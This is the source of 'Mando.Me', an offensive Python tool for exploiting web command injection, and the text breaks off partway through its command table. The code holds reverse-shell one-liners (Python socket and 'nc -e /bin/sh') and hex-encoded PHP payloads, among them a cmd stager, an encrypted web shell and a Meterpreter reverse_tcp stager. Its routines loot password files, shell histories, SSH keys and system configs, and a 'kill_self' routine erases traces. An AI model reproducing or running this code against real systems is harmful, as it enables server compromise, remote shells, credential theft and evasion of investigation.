#!/usr/bin/env python import os, sys, getopt, urllib, urllib2, re, socket, threading, time, binascii, hashlib, math, random, string, json, base64, zlib, textwrap, readline, signal, platform, dateutil ### TODO :: Add proxy support __author__ = "z0noxz" _gs = { "_stager" : "cmd", "_var_exec" : "SMPLSHLL_EXEC", "_var_eval" : "SMPLSHLL_EVAL", "_var_sudo" : "SMPLSHLL_SUDO", "_var_sudo_prompt" : "HTTP_SMPLSHLL_SUDO_PROMPT", "dir_loot" : ".ssc/{0}/.loot/{1}/", "_is_sudo" : False, "url" : "", "post" : None, "get" : None, "cookies" : None, "chunk_size" : 65, "initial_path" : "", "shell_path" : "", "working_directory" : "", "reverse_shells": [ "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{0}\",{1}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", "nc -e /bin/sh {0} {1}", "/bin/nc.traditional -e /bin/sh {0} {1}", ], "payloads": { "stager": { "path" : "", "payload" : "3c3f7068702069662028697373657428245f4745545b22636d64225d2929207b206563686f207368656c6c5f6578656328245f4745545b22636d64225d293b206469653b207d203f3e" }, "smplshll": { "path" : "", "payload" : "66756e6374696f6e205f637279707428246b65792c2024737472696e672c2024616374696f6e203d2022656e637279707422290d0a7b0d0a0924726573203d2022223b0d0a090d0a096966202824616374696f6e20213d3d2022656e637279707422290d0a097b0d0a090924737472696e67203d206261736536345f6465636f64652824737472696e67293b0d0a097d0d0a090d0a09666f7220282469203d20303b202469203c207374726c656e2824737472696e67293b2024692b2b290d0a097b0d0a09092463203d206f7264287375627374722824737472696e672c20246929293b0d0a09090d0a09096966202824616374696f6e203d3d2022656e637279707422290d0a09097b0d0a0909092463202b3d206f72642873756273747228246b65792c2028282469202b2031292025207374726c656e28246b6579292929293b0d0a09090924726573202e3d2063687228246320262030784646293b0d0a09097d0d0a0909656c73650d0a09097b0d0a0909092463202d3d206f72642873756273747228246b65792c2028282469202b2031292025207374726c656e28246b6579292929293b0d0a09090924726573202e3d20636872286162732824632920262030784646293b0d0a09097d0d0a097d0d0a090d0a096966202824616374696f6e203d3d2022656e637279707422290d0a097b0d0a090924726573203d206261736536345f656e636f64652824726573293b0d0a097d0d0a090d0a0972657475726e20247265733b0d0a7d0d0a0d0a66756e6374696f6e2063616c6c6261636b2824627566666572290d0a7b0d0a0972657475726e20285f637279707428225f5f494e505f5053575f5f222c20246275666665722c2022656e63727970742229293b0d0a7d0d0a0d0a6f625f7374617274282263616c6c6261636b22293b0d0a0d0a69662028697373657428245f5345525645525b22485454505f534d504c53484c4c5f4556414c225d29290d0a7b0d0a096576616c285f637279707428225f5f494e505f5053575f5f222c20245f5345525645525b22485454505f534d504c53484c4c5f4556414c225d2c20225f5f494e505f5053575f5f2229293b0d0a096469653b0d0a7d0d0a0d0a69662028697373657428245f5345525645525b22485454505f534d504c53484c4c5f45584543225d29290d0a7b0d0a096563686f207368656c6c5f65786563285f637279707428225f5f494e505f5053575f5f222c20245f5345525645525b22485454505f534d504c53484c4c5f45584543225d2c20225f5f494e505f5053575f5f2229293b0d0a096469653b0d0a7d0d0a0d0a69662028697373657428245f5345525645525b22485454505f534d504c53484c4c5f5355444f225d29290d0a7b0d0a09247069203d20617272617928293b0d0a09247072203d2070726f635f6f70656e285f637279707428225f5f494e505f5053575f5f222c20245f5345525645525b22485454505f534d504c53484c4c5f5355444f225d2c20225f5f494e505f5053575f5f22292c206172726179286172726179282270697065222c20227222292c206172726179282270697065222c2022772229292c20247069293b0d0a090d0a0969662028697373657428245f5345525645525b22485454505f534d504c53484c4c5f5355444f5f50524f4d5054225d29290d0a097b0d0a0909667772697465282470697065735b305d2c205f637279707428225f5f494e505f5053575f5f222c20245f5345525645525b22485454505f534d504c53484c4c5f5355444f5f50524f4d5054225d2c20225f5f494e505f5053575f5f2229293b0d0a097d0d0a090d0a0966636c6f7365282470695b305d293b0d0a097072696e745f722873747265616d5f6765745f636f6e74656e7473282470695b315d29293b0d0a0970726f635f636c6f736528247072293b0d0a096469653b0d0a7d0d0a0d0a6f625f656e645f666c75736828293b" } }, "meterpreter_payloads": { "php_meterpreter_reverse_tcp" : "6572726f725f7265706f7274696e672830293b20246970203d2022{0}223b2024706f7274203d20{1}3b2069662028282466203d202273747265616d5f736f636b65745f636c69656e7422292026262069735f63616c6c61626c652824662929207b202473203d20246628227463703a2f2f7b2469707d3a7b24706f72747d22293b2024735f74797065203d202273747265616d223b207d20656c736569662028282466203d202266736f636b6f70656e22292026262069735f63616c6c61626c652824662929207b202473203d202466282469702c2024706f7274293b2024735f74797065203d202273747265616d223b207d20656c736569662028282466203d2022736f636b65745f63726561746522292026262069735f63616c6c61626c652824662929207b202473203d2024662841465f494e45542c20534f434b5f53545245414d2c20534f4c5f544350293b2024726573203d2040736f636b65745f636f6e6e6563742824732c202469702c2024706f7274293b2069662028212472657329207b2064696528293b207d2024735f74797065203d2022736f636b6574223b207d20656c7365207b2064696528226e6f20736f636b65742066756e637322293b207d206966202821247329207b2064696528226e6f20736f636b657422293b207d20737769746368202824735f7479706529207b2063617365202273747265616d223a20246c656e203d2066726561642824732c2034293b20627265616b3b20636173652022736f636b6574223a20246c656e203d20736f636b65745f726561642824732c2034293b20627265616b3b207d206966202821246c656e29207b2064696528293b207d202461203d20756e7061636b28224e6c656e222c20246c656e293b20246c656e203d2024615b226c656e225d3b202462203d2022223b207768696c6520287374726c656e28246229203c20246c656e29207b20737769746368202824735f7479706529207b2063617365202273747265616d223a202462202e3d2066726561642824732c20246c656e2d7374726c656e28246229293b20627265616b3b20636173652022736f636b6574223a202462202e3d20736f636b65745f726561642824732c20246c656e2d7374726c656e28246229293b20627265616b3b207d207d2024474c4f42414c535b226d7367736f636b225d203d2024733b2024474c4f42414c535b226d7367736f636b5f74797065225d203d2024735f747970653b206576616c282462293b2064696528293b" } } help_notes = """ Mando.Me (Web Command Injection) 0.1 ----------------------------- Created by: z0noxz https://github.com/z0noxz/mando.me Usage: (python) mando.me.py [options] Options: --help Show this help message and exit --url Shell interface URL without paramters (e.g. "http://www.site.com/simple-shell.php") --post Declare POST data (eg. "{'submit':'','ip':_INJECT_}") --get Declare GET data (eg. "?ip=_INJECT_") --cookies Declare COOKIE data (eg. "PHPSESSID=deadbeefdeadbeefdeadbeefdeadbeef") Shell commands: Commands that are executable while in shell interface meterpreter Injects a PHP Meterpreter, PHP Reverse TCP Stager (requires a listener for php/meterpreter/reverse_tcp) upload Upload a file download Download a file kill_self Cleans up traces and aborts the shell exit Exits the shell """ def split(str, num): return [ str[start:start+num] for start in range(0, len(str), num) ] def enum(**enums): return type("Enum", (), enums) def enum_name(value, enum): return next((x for x in enum.__dict__.keys() if (enum.__name__ == "Enum" and not (x == "__doc__" or x == "__dict__" or x == "__weakref__") and enum.__dict__[x] == value)), "") class Print(object): @staticmethod def text(text = "", continuous = False): if continuous: sys.stdout.write(" " + text) sys.stdout.flush() else: print(" " + text) return len(text) @staticmethod def info(text = "", continuous = False): return Print.text("\033[94m[i]\033[0m " + text, continuous) @staticmethod def warning(text = "", continuous = False): return Print.text("\033[96m[!]\033[0m " + text, continuous) @staticmethod def status(text = "", continuous = False): return Print.text("\033[94m[*]\033[0m " + text, continuous) @staticmethod def error(text = "", continuous = False): return Print.text("\033[91m[-]\033[0m " + text, continuous) @staticmethod def success(text = "", continuous = False): return Print.text("\033[92m[+]\033[0m " + text, continuous) @staticmethod def confirm(text = ""): Print.text("\033[38;5;133m[?] " + text + " (Y/n): \033[0m", True) return not (raw_input()).lower() in ["n", "no"] @staticmethod def table(caption = "", description = "", headers = [], rows = {}): if len(rows) == 0: rows.append(dict((x, "") for x in range(0, len(headers)))) max_headers = list( ( max( max( map( len, (str(rows[i][j]) for i in range(0, len(rows))) ) ), len(headers[j]) ) ) for j in range(0, len(headers)) ) hr_width = (sum(max_headers) + ((len(max_headers) - 1) * 2)) if caption <> "": Print.text(caption.center(hr_width)) Print.text("=" * hr_width) if description <> "": Print.text(textwrap.fill(description, width = hr_width, initial_indent = "", subsequent_indent = " ")) Print.text() if "".join(headers) <> "": Print.text(" ".join(headers[i] + (" " * (max_headers[i] - len(headers[i]))) for i in range(0, len(headers)))) Print.text(" ".join(("-" * (max_headers[i])) for i in range(0, len(headers)))) for row in rows: Print.text(" ".join(str(row[i]) + (" " * (max_headers[i] - len(str(row[i])))) for i in range(0, len(headers)))) if "list" in row.keys() and row["list"] <> None: index = row["list"]["index"] array = row["list"]["array"] for item in array: Print.text((" " * (sum(max_headers[:index])) + index) + item) Print.text() class Utility(object): os = enum ( UNDEFINED = 1000, WINDOWS = 1001, LINUX = 1002 ) @staticmethod def crypt(key, data, encrypt = True): result = "" for i, c in enumerate(data if encrypt else base64.b64decode(data)): if encrypt: result += chr(ord(c) + ord(key[((i + 1) % len(key)):][:1]) & 0xff) else: result += chr(abs(ord(c) - ord(key[((i + 1) % len(key)):][:1])) & 0xff) return base64.b64encode(result) if encrypt else result @staticmethod def ip4_addresses(): return [l for l in ([ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")][:1], [[(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]]) if l][0] @staticmethod def loot_name(sufix, sub_dir = ""): _dir = _gs["dir_loot"] if sub_dir <> "": _dir += sub_dir if not os.path.exists(_dir): os.makedirs(_dir) return _dir + time.strftime("%Y%m%d%H%M%S") + "_" + sufix @staticmethod def save_loot(file_name, loot, sub_dir = ""): file_name = Utility.loot_name(file_name, sub_dir) with open(file_name, "w") as file: file.write(loot) Print.success("Loot saved at " + file_name) @staticmethod def check_working_directory(working_directory, new_directory): new_directory = new_directory if not new_directory == "" else working_directory if (re.match("^(/[^/ ]*)+/?$", new_directory)): if (PHPInteractor.command("if test -d " + new_directory + "; then \"1\"; fi") == ""): return new_directory return working_directory @staticmethod def filesize(size): for unit in ["Bytes", "KB", "MB", "GB", "TB", "PB", "EB", "ZB"]: if abs(size) < 1024.0: return "%3.1f %s" % (size, unit) size /= 1024.0 return "%.1f%s%s" % (size, 'Yi', suffix) @staticmethod def self_or_sudo(command): if _gs["_is_sudo"]: return PHPInteractor.sudo_command("sudo " + command) else: return PHPInteractor.command(command) @staticmethod def dist_name(): return PHPInteractor.command("lsb_release -si").strip().lower() @staticmethod def get_os(interactor = None): _system = platform.system() # Gets local platform if interactor <> None: if interactor("uname -s").strip().lower() in ["sunos", "aix", "linux"]: _system = "linux" elif "windows" in interactor("ver").strip().lower(): _system = "windows" else: _system = "undefined" return next((Utility.os.__dict__[x] for x in Utility.os.__dict__.keys() if (x.lower() == _system.lower())), Utility.os.UNDEFINED) class PHPInteractor(object): global _gs @staticmethod def send(url, headers, timeout): request = urllib2.Request(url) data = "" # Add password key request.add_header(_gs["smplshll_main_password_var"], _gs["smplshll_main_password"]) for header in headers.keys(): request.add_header(header, Utility.crypt(_gs["smplshll_input_password"], headers[header])) if timeout > 0: data = urllib2.urlopen(request, timeout = timeout).read() else: data = urllib2.urlopen(request).read() return Utility.crypt(_gs["smplshll_input_password"], data, False) if _gs["smplshll_response_encryption"] else data @staticmethod def command(cmd, timeout = 0): return PHPInteractor.send(_gs["url_exec"], {_gs["_var_exec"]: cmd}, timeout) @staticmethod def sudo_command(cmd, timeout = 0): return PHPInteractor.send(_gs["url_exec"], {_gs["_var_sudo"]: cmd}, timeout) @staticmethod def sudo_command_prompt(cmd, prompt, timeout = 0): return PHPInteractor.send(_gs["url_exec"], {_gs["_var_sudo"]: cmd, _gs["_var_sudo_prompt"]: prompt}, timeout) @staticmethod def eval(cmd, timeout = 0): return PHPInteractor.send(_gs["url_exec"], {_gs["_var_eval"]: cmd}, timeout) class MandoCommand(object): global _gs @staticmethod def separator(): if _gs["system"] == Utility.os.LINUX: return "/" elif _gs["system"] == Utility.os.WINDOWS: return "\\" else: return "" @staticmethod def mc_sudo(match): if _gs["_is_sudo"]: result = PHPInteractor.sudo_command("sudo " + match.group(1)) if result.strip() <> "": for x in result.strip().split("\n"): Print.text(x) else: Print.info("No output") else: Print.error(PHPInteractor.command("whoami").strip() + " is not a compatible sudoer") Print.info("The user must be a sudoer and have the option 'ALL=(ALL) NOPASSWD: ALL'") Print.info("Tips: Check out the command 'enable_sudo' through the shell") @staticmethod def mc_sessions(match): SessionManager.select() @staticmethod def mc_interact(match): session = SessionManager.select(int(match.group(1))) if session <> None: session.interact() @staticmethod def mc_meterpreter(match): Print.text() Print.info("Preparing meterpreter payload") payload = _gs["meterpreter_payloads"]["php_meterpreter_reverse_tcp"].format("".join("{:02x}".format(ord(c)) for c in match.group(1)), "".join("{:02x}".format(ord(c)) for c in match.group(5))) MandoCommand.mc_meterpreter_state = 0 def injector(payload): try: PHPInteractor.eval(payload, 1) except: MandoCommand.mc_meterpreter_state = 1 return MandoCommand.mc_meterpreter_state = -1 Print.info("Injecting meterpreter payload through PHP evaluation") threading.Thread(target = injector, args = (payload.decode("hex"), )).start() while True: if MandoCommand.mc_meterpreter_state <> 0: Print.success("Meterpreter injection succeeded") if MandoCommand.mc_meterpreter_state == 1 else Print.error("Meterpreter injection failed") break Print.text() @staticmethod def mc_gather_user_history(match): user = Utility.self_or_sudo("/usr/bin/whoami").strip() Print.info("Executing as '" + user + "'") if user <> "root": Print.warning("For best effect, this should be executed as root") Print.text() users = Utility.self_or_sudo("/bin/cat /etc/passwd | cut -d : -f 1").strip().split("\n") shells = ["ash", "bash", "csh", "ksh", "sh", "tcsh", "zsh"] applications = [".mysql_history", ".psql_history", ".dbshell", ".viminfo"] counter = 0 Print.status("Retrieving history for " + str(len(users)) + " users") print "" for user in users: counter += 1 Print.status("" + str(counter) + " of " + str(len(users)) + " inspecting user " + user) home_dir = Utility.self_or_sudo("echo ~" + user).strip() if Utility.self_or_sudo("[ -d " + home_dir + " ] && echo 'found' || echo 'not found'").strip() == "found": Print.status("Looting home directory for " + user) for shell in shells: shell_file = home_dir + "/." + shell + "_history" if Utility.self_or_sudo("[ -f " + shell_file + " ] && echo 'found' || echo 'not found'").strip() == "found": Print.status("Extracting " + shell + " history for " + user) history = Utility.self_or_sudo("cat " + shell_file).strip() Utility.save_loot(user + ".shell_history." + shell, history, "user_history/") for application in applications: application_file = home_dir + "/" + application if Utility.self_or_sudo("[ -f " + application_file + " ] && echo 'found' || echo 'not found'").strip() == "found": Print.status("Extracting " + application + " file for " + user) history = Utility.self_or_sudo("cat " + application_file).strip() Utility.save_loot(user + ".applicaiton_history." + application_file, history, "user_history/") if counter < len(users): print "" @staticmethod def mc_gather_system_info(match): dist = Utility.dist_name() user = Utility.self_or_sudo("/usr/bin/whoami").strip() Print.info("Executing as '" + user + "'") if user <> "root": Print.warning("For best effect, this should be executed as root") Print.info("Identified the system to be '" + dist + "'") Print.text() operations = { "fedora,redhat,suse,mandrake,oracle,amazon": { "users": "/bin/cat /etc/passwd | cut -d : -f 1", "packages": "rpm -qa", "services": "/sbin/chkconfig --list", "disk_info": "/bin/mount -l && /bin/df -ahT", "logfiles": "find /var/log -type f -perm -4 2> /dev/null", "setuid_setgid": "find / -xdev -type f -perm +6000 -perm -1 2> /dev/null", }, "slackware": { "users": "/bin/cat /etc/passwd | cut -d : -f 1", "packages": "/bin/ls /var/log/packages", "services": "ls -F /etc/rc.d | /bin/grep \'*$\'", "disk_info": "/bin/mount -l && /bin/df -ahT", "logfiles": "find /var/log -type f -perm -4 2> /dev/null", "setuid_setgid": "find / -xdev -type f -perm +6000 -perm -1 2> /dev/null", }, "ubuntu,debian": { "users": "/bin/cat /etc/passwd | cut -d : -f 1", "packages": "/usr/bin/dpkg -l", "services": "/usr/sbin/service --status-all", "disk_info": "/bin/mount -l && /bin/df -ahT", "logfiles": "find /var/log -type f -perm -4 2> /dev/null", "setuid_setgid": "find / -xdev -type f -perm +6000 -perm -1 2> /dev/null", }, "gentoo": { "users": "/bin/cat /etc/passwd | cut -d : -f 1", "packages": "equery list", "services": "/bin/rc-status --all", "disk_info": "/bin/mount -l && /bin/df -ahT", "logfiles": "find /var/log -type f -perm -4 2> /dev/null", "setuid_setgid": "find / -xdev -type f -perm +6000 -perm -1 2> /dev/null", }, "arch": { "users": "/bin/cat /etc/passwd | cut -d : -f 1", "packages": "/usr/bin/pacman -Q", "services": "/bin/egrep '^DAEMONS' /etc/rc.conf", "disk_info": "/bin/mount -l && /bin/df -ahT", "logfiles": "find /var/log -type f -perm -4 2> /dev/null", "setuid_setgid": "find / -xdev -type f -perm +6000 -perm -1 2> /dev/null", }, } for operation in operations.keys(): if dist in operation.split(","): for action in operations[operation].keys(): Utility.save_loot(dist + "." + action, Utility.self_or_sudo(operations[operation][action]).strip(), "system_info/") return Print.error("No operation defined for this distro") @staticmethod def mc_gather_configs(match): dist = Utility.dist_name() user = Utility.self_or_sudo("/usr/bin/whoami").strip() Print.info("Executing as '" + user + "'") if user <> "root": Print.warning("For best effect, this should be executed as root") Print.text() configs = [ "/etc/apache2/apache2.conf", "/etc/apache2/ports.conf", "/etc/nginx/nginx.conf", "/etc/snort/snort.conf", "/etc/mysql/my.cnf", "/etc/ufw/ufw.conf", "/etc/ufw/sysctl.conf", "/etc/security.access.conf", "/etc/shells", "/etc/security/sepermit.conf", "/etc/ca-certificates.conf", "/etc/security/access.conf", "/etc/gated.conf", "/etc/rpc", "/etc/psad/psad.conf", "/etc/mysql/debian.cnf", "/etc/chkrootkit.conf", "/etc/logrotate.conf", "/etc/rkhunter.conf", "/etc/samba/smb.conf", "/etc/ldap/ldap.conf", "/etc/openldap/openldap.conf", "/etc/cups/cups.conf", "/etc/opt/lampp/etc/httpd.conf", "/etc/sysctl.conf", "/etc/proxychains.conf", "/etc/cups/snmp.conf", "/etc/mail/sendmail.conf", "/etc/snmp/snmp.conf" ] for config in configs: if Utility.self_or_sudo("[ -f " + config + " ] && echo 'found' || echo 'not found'").strip() == "found": Utility.save_loot(dist + "." + config.replace("/", "_"), Utility.self_or_sudo("cat " + config).strip(), "configs/") @staticmethod def mc_status(match = None): Print.text("") Print.table( headers = ["", ""], rows = list( [ { 0 : "Shell", 1 : ": " + _gs["shell_path"] }, { 0 : "System", 1 : ": " + PHPInteractor.command("uname -a").strip() if _gs["system"] == Utility.os.LINUX else PHPInteractor.command("ver").strip() if _gs["system"] == Utility.os.WINDOWS else "" }, { 0 : "Id", 1 : ": " + PHPInteractor.command("id").strip() }, { 0 : "Sudo", 1 : ": " + ("\033[92mAccess granted\033[0m" if _gs["_is_sudo"] else "\033[91mAccess denied\033[0m") }, { 0 : "Help", 1 : ": " + "?" }, ] ) ) Print.text("") @staticmethod def mc_shell(match): Print.text("") shell = SessionManager.register(Shell(match.group(1), 0), "Reverse Shell") shell.open() if hasattr(shell, "interact"): shell.interact() @staticmethod def mc_pwd(match = None): wd = "" if _gs["system"] == Utility.os.LINUX: wd = PHPInteractor.command("pwd").strip() elif _gs["system"] == Utility.os.WINDOWS: wd = PHPInteractor.command("echo %cd%").strip() if match <> None: Print.text(wd) return wd @staticmethod def mc_ls(match = None): from dateutil.parser import * dir = [] Print.text() if _gs["system"] == Utility.os.LINUX: wd = PHPInteractor.command("cd " + _gs["working_directory"] + " && ls").strip() elif _gs["system"] == Utility.os.WINDOWS: for o in PHPInteractor.command("echo off && cd " + _gs["working_directory"] + " && FOR /D %D IN (*) DO (echo %~aD;%~tD;;%~nD)").strip().split("\n") + PHPInteractor.command("echo off && cd " + _gs["working_directory"] + " && FOR %F IN (*) DO (echo %~aF;%~tF;%~zF;%~nxF)").strip().split("\n"): x = o.split(";") dt = parse(x[1]) dir.append({ 0 : x[0], 1 : Utility.filesize(int(x[2] if x[2] <> "" else 0)).rjust(16), 2 : "dir" if x[2] == "" else x[3][x[3].rfind(".") + 1:] if "." in x[3] else "n/a", 3 : "{0}-{1:02}-{2:02} {3:02}:{4:02}".format(dt.year, dt.month, dt.day, dt.hour, dt.minute), 4 : x[3] }) Print.table( caption = _gs["working_directory"], headers = ["Attributes", "Size", "Type", "Last modified", "Name"], rows = dir ) Print.text() @staticmethod def mc_gather_network_info(match): user = Utility.self_or_sudo("/usr/bin/whoami").strip() Print.text("") Print.info("Executing as '" + user + "'") if user <> "root": Print.warning("For best effect, this should be executed as root") Print.info("Enumerating and collecting network data...") Print.text() def ssh_keys(): keys = [] base = [m.group(0) for d in Utility.self_or_sudo("/usr/bin/find / -maxdepth 3 -name .ssh").split("\n") for m in [re.search(r"(^\/)(.*)\.ssh$", d)] if m] if len(base) > 0: for file in Utility.self_or_sudo("/bin/ls -a " + base[0]).strip().split("\n"): if re.match(r"^(\.+)$", file): keys.append(Utility.self_or_sudo("cat " + base[0] + "/" + file)) return "\n".join(keys) def arp(): records = [] for address in re.findall(r"((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3})\s*(([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2}))", Utility.self_or_sudo("arp -a")): if not address.group(5).lower().startswith("01-00-5e"): records.append(address.group(1).ljust(10, " ") + Utility.self_or_sudo("nslookup " + address.group(1)).ljust(10, " ") + address.group(5).ljust(10, " ")) # TODO :: Add return "\n".join(records) for operation, actions in { "nconf" : ["/sbin/ifconfig -a"], "routes" : ["/sbin/route -e"], "iptables" : ["/sbin/iptables -L", "/sbin/iptables -L -t nat", "/sbin/iptables -L -t mangle"], "resolv" : ["cat /etc/resolv.conf"], "sshd_conf" : ["cat /etc/ssh/sshd_config"], "ssh_keys" : [ssh_keys], "hosts" : ["cat /etc/hosts"], "connections" : ["/usr/bin/lsof -nPi"], "wireless" : ["/sbin/iwconfig"], "open_ports" : ["/bin/netstat -tulpn"], "updown" : ["ls -R /etc/network"], "arp" : [arp], }.iteritems(): result = "\n".join(action() if hasattr(action, "__call__") else Utility.self_or_sudo(action).strip() for action in actions) Utility.save_loot("network." + operation, result, "network_info/") if result <> "" else Print.error(operation + " returned empty") Print.text("") @staticmethod def mc_file_upload(match): global _gs print("") print(" File Uploader:") print(" ------------------------------------------------------------------") print(" This program simply uploads a file to the target server") print("") lpath = raw_input(" Local path: ") file_name = lpath[lpath.rfind("/") + 1:] sys.stdout.write("\n Initializing..................................................") sys.stdout.flush() print("[\033[92mOK\033[0m]") try: with open(lpath, "rb") as f: counter = 1 step = 1 chunk_size = _gs["chunk_size"] progress_width = 64 - 8 file_size = os.path.getsize(lpath) chunk_count = math.ceil(file_size / chunk_size) local_hash_md5 = hashlib.md5() ## Setup progress bar sys.stdout.write(" Uploading") sys.stdout.flush() PHPInteractor.command("cd " + _gs["working_directory"] + " && rm " + file_name) PHPInteractor.command("cd " + _gs["working_directory"] + " && touch " + file_name) while True: chunk = f.read(chunk_size) local_hash_md5.update(chunk) if chunk: chunk = binascii.hexlify(chunk) chunk = "\\x" + "\\x".join([chunk[i:i + 2] for i in range(0, len(chunk), 2)]) PHPInteractor.command("cd " + _gs["working_directory"] + " && echo -n -e '" + chunk + "' >> " + file_name) if ((counter / (chunk_count / progress_width)) > step): sys.stdout.write(".") sys.stdout.flush() step += 1 counter += 1 else: break sys.stdout.write("\b" * (step - 1)) sys.stdout.flush() sys.stdout.write(("." * (progress_width - 3))) print("[\033[92mOK\033[0m]") sys.stdout.write(" Analysing file integrity......................................") sys.stdout.flush() print("[\033[92mOK\033[0m]" if (str(PHPInteractor.command("cd " + _gs["working_directory"] + " && md5sum " + file_name + " | awk '{ print $1 }'")).strip() == str(local_hash_md5.hexdigest()).strip()) else ".[\033[91mX\033[0m]") except: print("\n \033[91mError: cannot open '" + file_name + "'\033[0m") @staticmethod def mc_php_variables(match): PHPInteractor.eval("print_r(get_defined_vars());") @staticmethod def mc_php_eval(match): global _gs print("") print(" PHP Evaluator:") print(" ------------------------------------------------------------------") print(" This program evaluats PHP code") print("") PHPInteractor.eval(raw_input(" PHP Code: ")) @staticmethod def mc_file_download(match, path = None): global _gs rpath = (path if path <> None else match.group(1)) file_name = Utility.loot_name(rpath[rpath.rfind("/") + 1:]) try: counter = 1 step = 1 chunk_size = _gs["chunk_size"] progress_width = 64 - 10 file_size = int(PHPInteractor.command("cd " + _gs["working_directory"] + " && stat -c%s '" + rpath + "'")) chunk_count = math.ceil(file_size / chunk_size) local_hash_md5 = hashlib.md5() if PHPInteractor.command("cd " + _gs["working_directory"] + " && [ -r '" + rpath + "' ] && echo 'granted' || 'denied'").strip() == "granted": ## Setup progress bar sys.stdout.write(" Downloading") sys.stdout.flush() try: os.remove(file_name) except OSError: pass while True: chunk = PHPInteractor.command("cd " + _gs["working_directory"] + " && hexdump -ve '1/1 \"%.2x\"' '" + rpath + "' -n " + str(chunk_size) + " -s " + str(chunk_size * (counter - 1))) if (not chunk == ""): with open(file_name, "ab") as _file: _file.write(binascii.unhexlify(chunk)) if ((counter / (chunk_count / progress_width)) > step): sys.stdout.write(".") sys.stdout.flush() step += 1 counter += 1 else: break sys.stdout.write("\b" * (step - 1)) sys.stdout.flush() sys.stdout.write(("." * (progress_width - 3))) print("[\033[92mOK\033[0m]") sys.stdout.write(" Analysing file integrity......................................") sys.stdout.flush() local_hash_md5 = hashlib.md5() with open(file_name, "rb") as _file: local_hash_md5.update(_file.read()) print("[\033[92mOK\033[0m]" if (str(PHPInteractor.command("cd " + _gs["working_directory"] + " && md5sum " + rpath + " | awk '{ print $1 }'")).strip() == str(local_hash_md5.hexdigest()).strip()) else ".[\033[91mX\033[0m]") print " Loot saved at: \033[92m" + file_name + "\033[0m" else: Print.error("Cannot access the file") except: print("\n \033[91mError: cannot download file'" + file_name + "'\033[0m") @staticmethod def mc_dir_dump(match): _files = PHPInteractor.command("ls -p " + _gs["working_directory"] + " | grep -v /").strip().split("\n") counter = 0 for _file in _files: counter += 1 print("\n \033[94mDownload file (" + str(counter) + " of " + str(len(_files)) + "): '" + _file + "'\033[0m") print(" ------------------------------------------------------------------") MandoCommand.mc_file_download(match, _file) @staticmethod def mc_kill_self(match): print("") print(" Kill Self Protocol:") print(" ------------------------------------------------------------------") print(" This program cleans up traces and aborts the shell") print("") ## Remove payloads sys.stdout.write(" Removing payloads.............................................") for payload in _gs["payloads"].keys(): if not payload == "smplshll": PHPInteractor.command("rm " + _gs["initial_path"] + "/" + _gs["payloads"][payload]["path"]) print("[\033[92mOK\033[0m]") ## Remove self sys.stdout.write(" Removing initial shell........................................") PHPInteractor.command("rm " + _gs["initial_path"] + "/" + _gs["payloads"]["smplshll"]["path"]) print("[\033[92mOK\033[0m]") ## Shutting down print(" Shutting down...") sys.exit() @staticmethod def mc_exit(match): if Print.confirm("Run 'Kill Self Protocol'"): MandoCommand.mc_kill_self(match) sys.exit @staticmethod def definition(): if not hasattr(MandoCommand, "command_definition"): MandoCommand.command_definition = { "php_var": { "description" : "Prints the php variables", "validation" : "php_var", "help" : "", "run" : MandoCommand.mc_php_variables, "platform" : [Utility.os.LINUX], }, "php_eval": { "description" : "Evaluats php code", "validation" : "php_eval", "help" : "", "run" : MandoCommand.mc_php_eval, "platform" : [Utility.os.LINUX], }, "shell": { "description" : "Spawns a reverse shell and interacts with it", "validation" : r"shell\s+((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3})", "help" : "shell ", "run" : MandoCommand.mc_shell, "platform" : [Utility.os.LINUX], }, "meterpreter": { "description" : "Injects a meterpreter shell", "validation" : r"meterpreter\s+((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3})\:(\d+)", "help" : "syntax: \033[94mmeterpreter :\033[0m\npayload: \033[94mphp/meterpreter/reverse_tcp\033[0m", "run" : MandoCommand.mc_meterpreter, "platform" : [Utility.os.LINUX, Utility.os.WINDOWS], }, "upload": { "description" : "Uploads a file", "validation" : "upload", "help" : "upload ", "run" : MandoCommand.mc_file_upload, "platform" : [Utility.os.LINUX], }, "download": { "description" : "Downloads a file", "validation" : r"download\s+([^\s]+)", "help" : "download ", "run" : MandoCommand.mc_file_download, "platform" : [Utility.os.LINUX], }, "dir_dump": { "description" : "Downloads the current directory content", "validation" : "dir_dump", "help" : "", "run" : MandoCommand.mc_dir_dump, "platform" : [Utility.os.LINUX], }, "kill_self": { "description" : "Cleans up traces and aborts the shell", "validation" : "kill_self", "help" : "", "run" : MandoCommand.mc_kill_self, "platform" : [Utility.os.LINUX], }, "exit": { "description" : "Exits the shell", "validation" : "exit", "help" : "", "run" : MandoCommand.mc_exit, "platform" : [Utility.os.LINUX, Utility.os.WINDOWS], }, "status": { "description" : "Shows shell status", "validation" : "status", "help" : "", "run" : MandoCommand.mc_status, "platform" : [Utility.os.LINUX, Utility.os.WINDOWS], }, "sudo": { "description" : "Run a command as sudo", "validation" : r"sudo\s+(.+)", "help" : "", "run" : MandoCommand.mc_sudo, "platform" : [Utility.os.LINUX], }, "sessions": { "description" : "Checks open sessions", "validation" : "sessions", "help" : "", "run" : MandoCommand.mc_sessions, "platform" : [Utility.os.LINUX], }, "interact": { "description" : "Interacts with specified session id", "validation" : r"interact\s+(\d+)", "help" : "interact ", "run" : MandoCommand.mc_interact, "platform" : [Utility.os.LINUX], }, ### TODO :: # attack/su_crack [using PHPInteractor.sudo_command_prompt("su -c whoami USERNAME", "PASSWORD", False)] # attack/www_to_root [tries different attacks to 'automatically' elevate www-data to root or/sudo] "gather/network_info": { "description" : "Gathers network information", "validation" : "gather\/network_info", "help" : "", "run" : MandoCommand.mc_gather_network_info, "platform" : [Utility.os.LINUX], }, "gather/user_history": { "description" : 